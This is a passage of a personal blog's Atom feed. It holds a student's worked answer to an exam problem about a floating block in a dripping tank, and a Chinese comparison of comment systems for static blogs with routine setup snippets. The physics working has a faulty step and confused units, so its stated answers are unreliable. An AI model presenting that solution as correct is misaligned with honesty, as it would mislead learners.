<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>TT清沫uk</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <icon>https://ttquk.github.io/icon.png</icon>
  <id>https://ttquk.github.io/</id>
  <link href="https://ttquk.github.io/" rel="alternate"/>
  <link href="https://ttquk.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, TT清沫uk</rights>
  <subtitle>Record Moments</subtitle>
  <title>TT清沫ukの博客</title>
  <updated>2026-07-12T03:16:24.016Z</updated>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="物理" scheme="https://ttquk.github.io/categories/%E7%89%A9%E7%90%86/"/>
    <category term="考试" scheme="https://ttquk.github.io/tags/%E8%80%83%E8%AF%95/"/>
    <category term="物理" scheme="https://ttquk.github.io/tags/%E7%89%A9%E7%90%86/"/>
    <content>
      <![CDATA[<html><head></head><body><h2><span id="%E5%B0%B1%E5%9C%A8%E6%98%A8%E5%A4%A97%E6%9C%888%E5%8F%B7%E4%B8%8A%E5%8D%88%E6%9C%80%E5%90%8E%E4%B8%80%E9%97%A8%E7%89%A9%E7%90%86%E6%9C%9F%E6%9C%AB%E8%80%83%E8%AF%95%E8%80%83%E5%AE%8C%E4%BA%86%E5%85%B6%E4%B8%AD%E6%9C%80%E5%90%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AE%E5%BE%88%E6%9C%89%E6%84%8F%E6%80%9D%E6%88%91%E4%BB%AC%E7%8F%AD%E5%BE%88%E5%A4%9A%E5%90%8C%E5%AD%A6%E9%83%BD%E7%AE%97%E5%87%BA%E4%BA%86%E4%B8%8D%E5%90%8C%E7%9A%84%E7%AD%94%E6%A1%88%E8%B0%81%E9%83%BD%E4%B8%8D%E7%9F%A5%E9%81%93%E8%B0%81%E6%98%AF%E5%AF%B9%E7%9A%84%F0%9F%99%82%E9%A2%98%E7%9B%AE----%E4%B8%80%E5%8F%B7%E6%B0%B4%E7%BC%B8%E5%90%91%E4%BA%8C%E5%8F%B7%E6%B0%B4%E7%BC%B8%E6%BB%B4%E6%B0%B4%E5%8F%A6%E4%B8%80%E4%B8%AA%E6%B0%B4%E7%BC%B8%E5%86%85%E6%9C%89%E4%B8%80%E4%B8%AA%E6%B5%AE%E5%9D%97%E4%B8%8A%E9%9D%A2%E5%B8%A6%E7%9D%80%E4%B8%80%E4%B8%AA%E7%AB%96%E7%9D%80%E7%9A%84%E6%A0%87%E5%B0%BA%E9%9A%8F%E7%9D%80%E4%B8%8D%E6%96%AD%E6%BB%B4%E6%B0%B4%E6%A0%87%E5%B0%BA%E4%BC%9A%E9%9A%8F%E7%9D%80%E6%B5%AE%E5%9D%97%E4%B8%80%E8%B5%B7%E6%B5%AE%E8%B5%B7----%E4%BA%8C%E5%8F%B7%E6%B0%B4%E7%BC%B8%E7%9A%84%E5%BA%95%E9%9D%A2%E7%A7%AF%E4%B8%BA600cm2%E6%B5%AE%E5%9D%97%E5%BA%95%E9%9D%A2%E7%A7%AF%E4%B8%BA300cm2%E6%B5%AE%E5%9D%97%E5%92%8C%E6%A0%87%E5%B0%BA%E6%80%BB%E9%87%8D%E4%B8%BA6n%CF%81%E6%B0%B41gcm3g%E5%8F%9610----%E9%97%AE%E5%A6%82%E6%9E%9C%E4%B8%80%E5%8F%B7%E6%B0%B4%E7%BC%B8%E6%BB%B4%E6%B0%B4%E9%80%9F%E5%BA%A6%E4%B8%BA80gmin%E4%BB%8E%E6%B2%A1%E6%9C%89%E6%B0%B4%E5%BC%80%E5%A7%8B%E6%A0%87%E5%B0%BA%E4%B8%8A%E5%8D%871cm%E9%9C%80%E8%A6%81%E5%A4%9A%E4%B9%8545%E5%88%86%E9%92%9F%E5%90%8E%E6%A0%87%E5%B0%BA%E8%83%BD%E4%B8%8A%E5%8D%87%E5%A4%9A%E5%B0%91----%E5%9B%BE%E7%95%A5%0A----">就在昨天（7月8号）上午，最后一门物理期末考试考完了，其中最后一道题目很有意思，我们班很多同学都算出了不同的答案，谁都不知道谁是对的🙂<br>题目：<br>    一号水缸向二号水缸滴水，另一个水缸内有一个浮块，上面带着一个竖着的标尺，随着不断滴水，标尺会随着浮块一起浮起<br>    二号水缸的底面积为600cm2,浮块底面积为300cm2，浮块和标尺总重为6N（ρ水=1g/cm3，g取10）<br>    问：如果一号水缸滴水速度为80g/min，从没有水开始，标尺上升1cm需要多久？，45分钟后标尺能上升多少？<br>    图略…    </span></h2><p>我的解法:<br>∵G浮＋标=6N，漂浮<br>∴F浮=G浮＋标=6N<br>∵F浮=m排g=6N<br>∴m排=6N÷10N/kg=0.6kg<br>0.6kg=600g<br>600g÷300cm2=2cm<br>因此浮块漂浮时有2cm浸在水中，所以水面上升3cm，浮块才上升1cm<br>再计算水面上升3cm的用时：<br>T=S÷V=600cm2×3cm=1800cm3<br>m=ρV=1800cm×1g/cm3=1800g<br>1800g÷80g/min=22.5min<br>要22.5分钟<br>45min-22.5min=22.5min<br>22.5min×80g/min=1800g<br>V=m÷ρ=1800g÷1g/cm2=1800cm3<br>1800cm3÷600cm2=3min<br>3min＋1min=4min<br>上升4cm<br>所以答案为22.5min，4cm</p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/07/08/7%E6%9C%888%E5%8F%B7%E7%89%A9%E7%90%86/</id>
    <link href="https://ttquk.github.io/2026/07/08/7%E6%9C%888%E5%8F%B7%E7%89%A9%E7%90%86/"/>
    <published>2026-07-08T02:08:00.000Z</published>
    <summary>物理期末考试中的一道浮力与滴水综合题解析，涉及浮力计算、压强分析和速度求解的详细过程。</summary>
    <title>7月8号物理</title>
    <updated>2026-07-12T03:16:24.016Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="博客" scheme="https://ttquk.github.io/categories/%E5%8D%9A%E5%AE%A2/"/>
    <category term="博客" scheme="https://ttquk.github.io/tags/%E5%8D%9A%E5%AE%A2/"/>
    <category term="评论系统" scheme="https://ttquk.github.io/tags/%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F/"/>
    <category term="静态网站" scheme="https://ttquk.github.io/tags/%E9%9D%99%E6%80%81%E7%BD%91%E7%AB%99/"/>
    <content>
      <![CDATA[<html><head></head><body><blockquote><p>静态博客没有后端数据库，评论功能全靠第三方服务。本文从<strong>数据存储、隐私、成本、界面、国内可用性</strong>五个维度，全面对比主流评论方案。</p></blockquote><h2><span id="%F0%9F%93%8B-%E7%9B%AE%E5%BD%95">📋 目录</span></h2><ol><li><a href="#%E4%B8%BA%E4%BB%80%E4%B9%88%E9%9C%80%E8%A6%81%E7%AC%AC%E4%B8%89%E6%96%B9%E8%AF%84%E8%AE%BA">为什么需要第三方评论？</a></li><li><a href="#%E6%96%B9%E6%A1%88%E5%AF%B9%E6%AF%94%E6%80%BB%E8%A7%88">方案对比总览</a></li><li><a href="#1-giscus--github-discussions-%E9%A9%B1%E5%8A%A8">Giscus — GitHub Discussions 驱动</a></li><li><a href="#2-waline--%E5%9B%BD%E4%BA%A7%E5%BC%80%E6%BA%90%E5%85%A8%E8%83%BD%E7%8E%8B">Waline — 国产开源全能王</a></li><li><a href="#3-twikoo--%E8%85%BE%E8%AE%AF%E4%BA%91%E5%87%BD%E6%95%B0%E8%BD%BB%E9%87%8F%E6%96%B9%E6%A1%88">Twikoo — 腾讯云函数轻量方案</a></li><li><a href="#4-utterances--%E6%9E%81%E7%AE%80-github-issues-%E8%AF%84%E8%AE%BA">utterances — 极简 GitHub Issues 评论</a></li><li><a href="#5-disqus--%E5%85%A8%E7%90%83%E6%9C%80%E8%80%81%E7%89%8C%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F">Disqus — 全球最老牌评论系统</a></li><li><a href="#6-artalk--%E5%9B%BD%E4%BA%A7%E6%96%B0%E6%98%9F%E8%87%AA%E6%89%98%E7%AE%A1%E6%96%B9%E6%A1%88">Artalk — 国产新星自托管方案</a></li><li><a href="#7-gitalk--github-issues-%E7%9A%84%E5%8F%A4%E5%85%B8%E6%96%B9%E6%A1%88">Gitalk — GitHub Issues 的古典方案</a></li><li><a href="#%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9">如何选择？</a></li></ol><hr><h2><span id="%E4%B8%BA%E4%BB%80%E4%B9%88%E9%9C%80%E8%A6%81%E7%AC%AC%E4%B8%89%E6%96%B9%E8%AF%84%E8%AE%BA">为什么需要第三方评论？</span></h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph LR<br>    A[静态博客&lt;br/&gt;纯 HTML/JS] --&gt; B{需要评论功能}<br>    B --&gt; C[第三方评论系统]<br>    C --&gt; D[自托管数据库]<br>    C --&gt; E[GitHub Issues]<br>    C --&gt; F[SaaS 服务]<br></code></pre></td></tr></tbody></table></figure><p>静态博客只是一堆 HTML 文件，没有后端、没有数据库。要实现评论，要么自己搭后端，要么接入第三方服务——后者才是主流做法。</p><hr><h2><span id="%E6%96%B9%E6%A1%88%E5%AF%B9%E6%AF%94%E6%80%BB%E8%A7%88">方案对比总览</span></h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">┌──────────┬──────────────┬──────────┬──────────┬───────────┬──────────────┐<br>│   系统   │  数据存储     │  免费？  │ 国内速度  │  隐私性   │  上手难度    │<br>├──────────┼──────────────┼──────────┼──────────┼───────────┼──────────────┤<br>│  Giscus  │ GitHub 讨论   │   ✅    │   ⚡⚡    │   ⭐⭐⭐  │   极简       │<br>│  Waline  │ 自托管/SaaS  │   ✅    │   ⚡⚡⚡  │   ⭐⭐⭐  │   中等       │<br>│  Twikoo  │ 腾讯云/自托管 │   ✅    │   ⚡⚡⚡  │   ⭐⭐⭐  │   中等       │<br>│utterances│ GitHub Issues │   ✅    │   ⚡⚡    │   ⭐⭐⭐  │   极简       │<br>│  Disqus  │ 官方服务器    │   ⚠️   │   ⚡     │   ⭐     │   极简       │<br>│  Artalk  │ 自托管        │   ✅    │   ⚡⚡⚡  │   ⭐⭐⭐  │   中等       │<br>│  Gitalk  │ GitHub Issues │   ✅    │   ⚡⚡    │   ⭐⭐⭐  │   简单       │<br>└──────────┴──────────────┴──────────┴──────────┴───────────┴──────────────┘<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="1-giscus--github-discussions-%E9%A9%B1%E5%8A%A8">1. Giscus — GitHub Discussions 驱动</span></h2><p><img src="https://opengraph.githubassets.com/1/giscus/giscus" alt="Giscus"></p><p><strong>官网</strong>: <a href="https://giscus.app/">https://giscus.app</a><br><strong>GitHub Stars</strong>: ⭐ 9k+<br><strong>数据存储</strong>: GitHub Discussions API</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🗣️ <strong>GitHub Discussions</strong></td><td>利用 GitHub 原生的讨论功能，管理体验好</td></tr><tr><td>🎨 <strong>自动适配主题</strong></td><td>自动跟随系统亮暗模式，无需手动配置</td></tr><tr><td>❤️ <strong>反应表情</strong></td><td>评论可以点赞、踩、爱心等 GitHub 原生反应</td></tr><tr><td>📧 <strong>回复通知</strong></td><td>被回复时 GitHub 会发邮件通知</td></tr><tr><td>🌍 <strong>多语言</strong></td><td>支持中文等 20+ 种语言</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E9%9B%86%E6%88%90%E6%96%B9%E5%BC%8Fhexo-%E7%A4%BA%E4%BE%8B">🔧 集成方式（Hexo 示例）</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># Hexo 只需在主题配置中添加</span><br>npm install hexo-next-giscus --save<br></code></pre></td></tr></tbody></table></figure><figure class="highlight yml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs yml"><span class="hljs-comment"># _config.next.yml</span><br><span class="hljs-attr">giscus:</span><br>  <span class="hljs-attr">enable:</span> <span class="hljs-literal">true</span><br>  <span class="hljs-attr">repo:</span> <span class="hljs-string">yourname/yourname.github.io</span><br>  <span class="hljs-attr">repo_id:</span> <span class="hljs-string">"MDEwOlJlcG9zaXRvcn..."</span><br>  <span class="hljs-attr">category:</span> <span class="hljs-string">Announcements</span><br>  <span class="hljs-attr">category_id:</span> <span class="hljs-string">"DIC_kwDO..."</span><br>  <span class="hljs-attr">mapping:</span> <span class="hljs-string">pathname</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B">📊 工作流程</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">sequenceDiagram<br>    participant 读者<br>    participant 博客页面<br>    participant Giscus API<br>    participant GitHub Discussions<br>    <br>    读者-&gt;&gt;博客页面: 访问文章<br>    博客页面-&gt;&gt;Giscus API: 请求评论（按 pathname）<br>    Giscus API-&gt;&gt;GitHub Discussions: 查询 Discussion<br>    GitHub Discussions--&gt;&gt;Giscus API: 返回评论数据<br>    Giscus API--&gt;&gt;博客页面: 渲染评论区<br>    读者-&gt;&gt;博客页面: 发表评论<br>    博客页面-&gt;&gt;Giscus API: 授权 OAuth<br>    Giscus API-&gt;&gt;GitHub Discussions: 写入评论<br>    GitHub Discussions--&gt;&gt;读者: 评论发表成功<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>零成本零运维</strong>：数据在 GitHub，GitHub 不挂它就活着</li><li>✅ <strong>界面精美</strong>：和 GitHub 风格统一，支持亮暗切换</li><li>✅ <strong>评论者需 GitHub 账号</strong>：天然防 spam</li><li>❌ <strong>评论者需 GitHub 账号</strong>：非程序员可能望而却步</li><li>❌ <strong>依赖 GitHub</strong>：GitHub 被墙则不可用（国内偶尔不稳定）</li></ul><hr><h2><span id="2-waline--%E5%9B%BD%E4%BA%A7%E5%BC%80%E6%BA%90%E5%85%A8%E8%83%BD%E7%8E%8B">2. Waline — 国产开源全能王</span></h2><p><img src="https://raw.githubusercontent.com/walinejs/waline/main/assets/logo.png" alt="Waline"></p><p><strong>官网</strong>: <a href="https://waline.js.org/">https://waline.js.org</a><br><strong>GitHub Stars</strong>: ⭐ 2.5k+<br><strong>数据存储</strong>: 自托管（LeanCloud / MySQL / SQLite / 等）</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🔒 <strong>数据完全自主</strong></td><td>评论数据存在你自己的数据库里</td></tr><tr><td>👤 <strong>多种登录方式</strong></td><td>支持 QQ、微信、GitHub、Twitter 等社交登录</td></tr><tr><td>📧 <strong>邮件通知</strong></td><td>博主和评论者均可收到邮件提醒</td></tr><tr><td>📊 <strong>评论统计</strong></td><td>内置阅读量统计、评论数统计</td></tr><tr><td>🖼️ <strong>图片上传</strong></td><td>评论区支持粘贴图片上传</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2vercel-%E4%B8%80%E9%94%AE">🔧 快速部署（Vercel 一键）</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 方式一：Vercel 部署（推荐，免费）</span><br><span class="hljs-comment"># 访问 https://vercel.com/new/clone?repository-url=https://github.com/walinejs/waline</span><br><br><span class="hljs-comment"># 方式二：Docker 部署</span><br>docker run -d \<br>  -e LEAN_ID=xxx \<br>  -e LEAN_KEY=xxx \<br>  -e LEAN_MASTER_KEY=xxx \<br>  -p 8360:8360 \<br>  lizheming/waline<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E6%9E%B6%E6%9E%84%E7%A4%BA%E6%84%8F">📊 架构示意</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph TD<br>    subgraph "前端"<br>        A[博客页面]<br>        B[Waline 客户端]<br>    end<br>    <br>    subgraph "服务端（你的 Vercel）"<br>        C[Waline Server]<br>    end<br>    <br>    subgraph "数据存储（选其一）"<br>        D1[LeanCloud]<br>        D2[MySQL]<br>        D3[SQLite]<br>        D4[MongoDB]<br>    end<br>    <br>    subgraph "通知"<br>        E1[邮件通知]<br>        E2[微信通知]<br>    end<br>    <br>    A --&gt; B<br>    B --&gt; C<br>    C --&gt; D1<br>    C --&gt; D2<br>    C --&gt; D3<br>    C --&gt; D4<br>    C --&gt; E1<br>    C --&gt; E2<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>国内体验极佳</strong>：支持微信/QQ 登录，国内访问快</li><li>✅ <strong>数据自主可控</strong>：数据库完全在你手里</li><li>✅ <strong>功能最全面</strong>：登录、通知、图片、统计一应俱全</li><li>❌ <strong>需要部署服务端</strong>：虽然是免费的，但有一点点门槛</li><li>❌ <strong>数据迁移麻烦</strong>：换数据库需要手动迁移</li></ul><hr><h2><span id="3-twikoo--%E8%85%BE%E8%AE%AF%E4%BA%91%E5%87%BD%E6%95%B0%E8%BD%BB%E9%87%8F%E6%96%B9%E6%A1%88">3. Twikoo — 腾讯云函数轻量方案</span></h2><p><img src="https://twikoo.js.org/twikoo-logo.png" alt="Twikoo"></p><p><strong>官网</strong>: <a href="https://twikoo.js.org/">https://twikoo.js.org</a><br><strong>GitHub Stars</strong>: ⭐ 1.7k+<br><strong>数据存储</strong>: 腾讯云 CloudBase / 自托管 MongoDB / Vercel</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>☁️ <strong>腾讯云原生</strong></td><td>可直接部署在腾讯云 CloudBase（有免费额度）</td></tr><tr><td>🎨 <strong>现代 UI</strong></td><td>界面简洁美观，支持暗色模式</td></tr><tr><td>🔔 <strong>多种通知</strong></td><td>邮件、微信、Pushover 多渠道通知</td></tr><tr><td>📦 <strong>反垃圾</strong></td><td>内置 Akismet 反垃圾 + 敏感词过滤</td></tr><tr><td>🔒 <strong>密码保护</strong></td><td>可设置博主密码，只有你能管理评论</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B">🔧 快速开始</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 方式一：腾讯云 CloudBase（国内用户推荐）</span><br><span class="hljs-comment"># 访问 https://console.cloud.tencent.com/tcb</span><br><br><span class="hljs-comment"># 方式二：Vercel + MongoDB</span><br><span class="hljs-comment"># 一键克隆部署到 Vercel</span><br><br><span class="hljs-comment"># 方式三：Docker</span><br>docker run -d \<br>  -e TWIKOO_DATA=/app/data \<br>  -v ./data:/app/data \<br>  -p 8080:8080 \<br>  imaegoo/twikoo<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%8F%8D%E5%9E%83%E5%9C%BE%E6%B5%81%E7%A8%8B">📊 反垃圾流程</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph TD<br>    A[用户提交评论] --&gt; B{IP 黑名单检查}<br>    B --&gt;|命中| C[拒绝]<br>    B --&gt;|通过| D{敏感词过滤}<br>    D --&gt;|命中| E[标记待审核]<br>    D --&gt;|通过| F{Akismet 检测}<br>    F --&gt;|垃圾| G[自动标记垃圾]<br>    F --&gt;|正常| H[发布成功]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>腾讯云免费额度够用</strong>：个人博客完全够用</li><li>✅ <strong>部署简单</strong>：Vercel 一键部署或 Docker 一条命令</li><li>✅ <strong>反垃圾能力强</strong>：多重过滤机制</li><li>❌ <strong>腾讯云依赖</strong>：CloudBase 方案有厂商锁定风险</li><li>❌ <strong>社区略小</strong>：相比 Waline，用户群和插件稍少</li></ul><hr><h2><span id="4-utterances--%E6%9E%81%E7%AE%80-github-issues-%E8%AF%84%E8%AE%BA">4. utterances — 极简 GitHub Issues 评论</span></h2><p><img src="https://utteranc.es/utterances-logo.svg" alt="utterances"></p><p><strong>官网</strong>: <a href="https://utteranc.es/">https://utteranc.es</a><br><strong>GitHub Stars</strong>: ⭐ 9k+<br><strong>数据存储</strong>: GitHub Issues</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🔌 <strong>零配置</strong></td><td>只需在页面插入一个 <code>&lt;script&gt;</code> 标签</td></tr><tr><td>🐙 <strong>GitHub Issues</strong></td><td>每篇文章自动创建一个 Issue，评论即 Issue 评论</td></tr><tr><td>🎨 <strong>简单干净</strong></td><td>没有任何花哨功能，纯粹的评论区</td></tr><tr><td>📧 <strong>通知</strong></td><td>有人回复时 GitHub 自动发邮件</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E9%9B%86%E6%88%90%E6%9C%80%E7%AE%80%E5%8D%95">🔧 集成（最简单）</span></h3><figure class="highlight html"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 在文章底部加入这段代码 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://utteranc.es/client.js"</span></span><br><span class="hljs-tag">  <span class="hljs-attr">repo</span>=<span class="hljs-string">"你的用户名/你的仓库名"</span></span><br><span class="hljs-tag">  <span class="hljs-attr">issue-term</span>=<span class="hljs-string">"pathname"</span></span><br><span class="hljs-tag">  <span class="hljs-attr">theme</span>=<span class="hljs-string">"github-light"</span></span><br><span class="hljs-tag">  <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">"anonymous"</span></span><br><span class="hljs-tag">  <span class="hljs-attr">async</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86">📊 工作原理</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    A[访问 /posts/hello] --&gt; B[utterances 脚本]<br>    B --&gt; C{GitHub 搜索&lt;br/&gt;hello 的 Issue}<br>    C --&gt;|找到| D[加载 Issue 评论]<br>    C --&gt;|未找到| E[自动创建 Issue]<br>    E --&gt; D<br>    D --&gt; F[渲染评论区]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>最简单的方案</strong>：一行 HTML 搞定，甚至不需要构建工具</li><li>✅ <strong>完全免费</strong>：GitHub Issues 无限制</li><li>❌ <strong>功能太少</strong>：没有登录扩展、没有图片上传、没有管理后台</li><li>❌ <strong>不如 Giscus</strong>：Giscus 是它的升级替代品，体验更好</li></ul><hr><h2><span id="5-disqus--%E5%85%A8%E7%90%83%E6%9C%80%E8%80%81%E7%89%8C%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F">5. Disqus — 全球最老牌评论系统</span></h2><p><img src="https://disqus.com/next/apple-touch-icon-57x57.png" alt="Disqus"></p><p><strong>官网</strong>: <a href="https://disqus.com/">https://disqus.com</a><br><strong>覆盖站点</strong>: 数百万网站<br><strong>数据存储</strong>: Disqus 官方服务器</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🌍 <strong>用户基数大</strong></td><td>全球数百万人有 Disqus 账号，登录评论零门槛</td></tr><tr><td>📊 <strong>后台管理强</strong></td><td>评论审核、分析、垃圾过滤一应俱全</td></tr><tr><td>🔔 <strong>通知完善</strong></td><td>邮件通知、回复提醒</td></tr><tr><td>📈 <strong>变现支持</strong></td><td>付费版可去广告，免费版带广告</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E9%9B%86%E6%88%90">🔧 集成</span></h3><figure class="highlight html"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"disqus_thread"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"></span><br><span class="language-javascript">  <span class="hljs-keyword">var</span> disqus_config = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {</span><br><span class="language-javascript">    <span class="hljs-variable language_">this</span>.<span class="hljs-property">page</span>.<span class="hljs-property">url</span> = <span class="hljs-string">'文章地址'</span>;</span><br><span class="language-javascript">    <span class="hljs-variable language_">this</span>.<span class="hljs-property">page</span>.<span class="hljs-property">identifier</span> = <span class="hljs-string">'文章ID'</span>;</span><br><span class="language-javascript">  };</span><br><span class="language-javascript">  (<span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) {</span><br><span class="language-javascript">    <span class="hljs-keyword">var</span> d = <span class="hljs-variable language_">document</span>, s = d.<span class="hljs-title function_">createElement</span>(<span class="hljs-string">'script'</span>);</span><br><span class="language-javascript">    s.<span class="hljs-property">src</span> = <span class="hljs-string">'https://你的站点名.disqus.com/embed.js'</span>;</span><br><span class="language-javascript">    s.<span class="hljs-title function_">setAttribute</span>(<span class="hljs-string">'data-timestamp'</span>, +<span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>());</span><br><span class="language-javascript">    (d.<span class="hljs-property">head</span> || d.<span class="hljs-property">body</span>).<span class="hljs-title function_">appendChild</span>(s);</span><br><span class="language-javascript">  })();</span><br><span class="language-javascript"></span><span 